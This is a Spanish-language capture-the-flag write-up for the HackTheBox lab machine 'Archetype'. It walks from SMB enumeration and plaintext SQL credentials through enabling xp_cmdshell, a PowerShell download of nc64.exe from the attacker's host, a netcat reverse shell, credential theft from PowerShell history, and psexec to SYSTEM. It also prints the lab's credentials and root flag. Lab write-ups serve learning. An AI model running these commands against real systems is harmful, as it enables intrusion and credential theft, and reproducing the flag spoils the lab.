// HackTheBox — Starting Point — Writeup

ARCHETYPE

#windows #smb #mssql #impacket #xp_cmdshell
// 01

RECONOCIMIENTO — Escaneo de puertos

Se lanza un escaneo completo para descubrir la superficie de ataque disponible en la máquina víctima.

escaneo inicial
nmap -p- --min-rate=5000 <IP_VICTIMA> -oG allPorts
PUERTO ESTADO SERVICIO
135/tcpOPENmsrpc
139/tcpOPENnetbios-ssn
445/tcpOPENmicrosoft-ds (SMB)
1433/tcpOPENms-sql-s (MSSQL)
5985/tcpOPENwsman (WinRM)
47001/tcpOPENwinrm

El puerto 1433 aloja un servidor Microsoft SQL Server y el puerto 445 indica un servicio SMB activo. Son los dos vectores principales a explorar.

// 02

ENUMERACIÓN SMB — Credenciales en texto claro

Se listan los shares disponibles en el servicio SMB sin necesidad de autenticación, usando la flag -N para null session:

listado de shares
smbclient -L //<IP_VICTIMA>/ -N
Sharename Type Comment --------- ---- ------- ADMIN$ Disk Remote Admin backups Disk C$ Disk Default share IPC$ IPC Remote IPC

Los shares administrativos terminan en $. El único share sin ese sufijo — y por tanto accesible sin privilegios — es backups. Se accede directamente:

acceso al share backups
smbclient //<IP_VICTIMA>/backups -N
smb: \> ls prod.dtsConfig AR 609 Mon Jan 20 13:23:02 2020 smb: \> get prod.dtsConfig

Se descarga el fichero prod.dtsConfig. Los archivos .dtsConfig son ficheros de configuración de paquetes SSIS (SQL Server Integration Services) y habitualmente contienen cadenas de conexión a bases de datos. Al examinar su contenido:

prod.dtsConfig
<DTSConfiguration> <Configuration ConfiguredType="Property" Path="\Package.Connections[Destination].Properties[ConnectionString]"> <ConfiguredValue> Data Source=.; Password=M3g4c0rp123; User ID=ARCHETYPE\sql_svc; Initial Catalog=Catalog; Provider=SQLNCLI10.1; </ConfiguredValue> </Configuration> </DTSConfiguration>
Credenciales encontradas
Usuario ARCHETYPE\sql_svc con contraseña M3g4c0rp123 almacenadas en texto claro dentro de un fichero de configuración accesible por SMB sin autenticación.
// 03

ACCESO MSSQL — Habilitando xp_cmdshell

Con las credenciales obtenidas se usa mssqlclient.py de la suite Impacket para establecer una sesión autenticada contra el servidor SQL. La flag -windows-auth es necesaria porque las credenciales son de dominio Windows:

conexión con mssqlclient.py
impacket-mssqlclient ARCHETYPE/sql_svc:'M3g4c0rp123'@<IP_VICTIMA> -windows-auth
[*] Encryption required, switching to TLS [*] INFO(ARCHETYPE): Line 1: Changed database context to 'master' SQL (ARCHETYPE\sql_svc dbo@master)>

La conexión es exitosa. El siguiente paso es obtener ejecución de comandos en el sistema operativo mediante el procedimiento almacenado xp_cmdshell, que permite lanzar comandos de shell directamente desde SQL.

Por defecto está deshabilitado como medida de seguridad, pero el usuario tiene permisos de sysadmin, lo que permite activarlo:

Vulnerabilidad
El usuario sql_svc tiene rol de sysadmin en el servidor SQL. Esto otorga control total sobre la instancia, incluyendo la capacidad de habilitar xp_cmdshell para ejecutar comandos arbitrarios en el sistema operativo subyacente.
habilitar y usar xp_cmdshell
-- Primer intento: bloqueado SQL> xp_cmdshell "whoami" ERROR: SQL Server blocked access to procedure 'sys.xp_cmdshell'... -- Habilitarlo con el comando especial de Impacket SQL> enable_xp_cmdshell [*] INFO: Configuration option 'xp_cmdshell' changed from 0 to 1. -- Verificar ejecución SQL> xp_cmdshell "whoami" output ------------------ archetype\sql_svc
// 04

REVERSE SHELL — Netcat en la víctima

Tener ejecución de comandos vía xp_cmdshell es útil pero limitado. El objetivo es obtener una shell interactiva. Se transfiere nc64.exe a la máquina víctima usando un servidor HTTP temporal:

máquina atacante — servidor HTTP
python3 -m http.server 80
máquina víctima — descarga vía xp_cmdshell
SQL> xp_cmdshell "powershell -c cd C:\Users\sql_svc\Downloads; wget http://<IP_ATACANTE>/nc64.exe -outfile nc64.exe"

Con Netcat en la víctima, se pone el listener en escucha y se lanza la reverse shell:

listener en máquina atacante
nc -lvnp 4444
lanzar reverse shell desde MSSQL
SQL> xp_cmdshell "powershell -c cd C:\Users\sql_svc\Downloads; .\nc64.exe -e cmd.exe <IP_ATACANTE> 4444"
C:\Users\sql_svc\Downloads> whoami archetype\sql_svc
USER FLAG C:\Users\sql_svc\Desktop\user.txt
// 05

PRIVILEGE ESCALATION — ConsoleHost_history.txt

Con acceso como sql_svc, el objetivo es escalar a Administrator. Se transfiere y ejecuta WinPEAS, una herramienta que automatiza la búsqueda de vectores de escalada en entornos Windows:

transferir y ejecutar WinPEAS
C:\Users\sql_svc\Downloads> wget http://<IP_ATACANTE>/winPEASx64.exe -outfile winPEASx64.exe C:\Users\sql_svc\Downloads> .\winPEASx64.exe

En la sección de archivos sensibles, WinPEAS marca en rojo el historial de comandos de PowerShell:

Marcado por WinPEAS
C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

Este fichero es el equivalente Windows al .bash_history de Linux: registra los comandos ejecutados en PowerShell. Es un lugar habitual donde quedan expuestas credenciales tecleadas manualmente:

ConsoleHost_history.txt
C:\> type C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt net.exe use T: \\Archetype\backups /user:administrator MEGACORP_4dm1n!!
¿Por qué aparece aquí?
El administrador montó un share de red en algún momento tecleando la contraseña directamente en PowerShell. PSReadLine la guardó automáticamente en el historial, igual que bash guarda todo en .bash_history. La contraseña del administrador es MEGACORP_4dm1n!!
// 06

ACCESO COMO SYSTEM — psexec.py

Con las credenciales del administrador se usa psexec.py de Impacket para obtener una shell con máximos privilegios. PSExec funciona subiendo un servicio al share ADMIN$ y ejecutándolo remotamente, devolviendo una shell como SYSTEM:

acceso como administrator
impacket-psexec administrator@<IP_VICTIMA> Password: MEGACORP_4dm1n!!
[*] Found writable share ADMIN$ [*] Uploading file OsaIJSOv.exe [*] Creating service VDJl on <IP_VICTIMA>... [*] Starting service VDJl... Microsoft Windows [Version 10.0.17763.2061] C:\Windows\system32> whoami nt authority\system

Acceso completo como SYSTEM. La flag de root se encuentra en el escritorio del usuario Administrator:

root flag
type C:\Users\Administrator\Desktop\root.txt
b91ccec3305e98240082d4474b848528
ROOT FLAG b91ccec3305e98240082d4474b848528
// RESUMEN

CADENA DE ATAQUE

01
Enumeración SMB
Share backups accesible sin autenticación → prod.dtsConfig con credenciales SQL en texto claro: ARCHETYPE\sql_svc / M3g4c0rp123
02
Acceso MSSQL + xp_cmdshell
Conexión con mssqlclient.py. El usuario tiene rol de sysadmin → se habilita xp_cmdshell → RCE en el sistema operativo
03
Reverse Shell como sql_svc
Transferencia de nc64.exe vía HTTP + reverse shell interactiva → flag de usuario obtenida
04
WinPEAS → ConsoleHost_history.txt
WinPEAS detecta el historial de PowerShell con la contraseña del administrador tecleada en claro: MEGACORP_4dm1n!!
Root via psexec.py → SYSTEM
Acceso como SYSTEM con impacket-psexec → flag de root en C:\Users\Administrator\Desktop\root.txt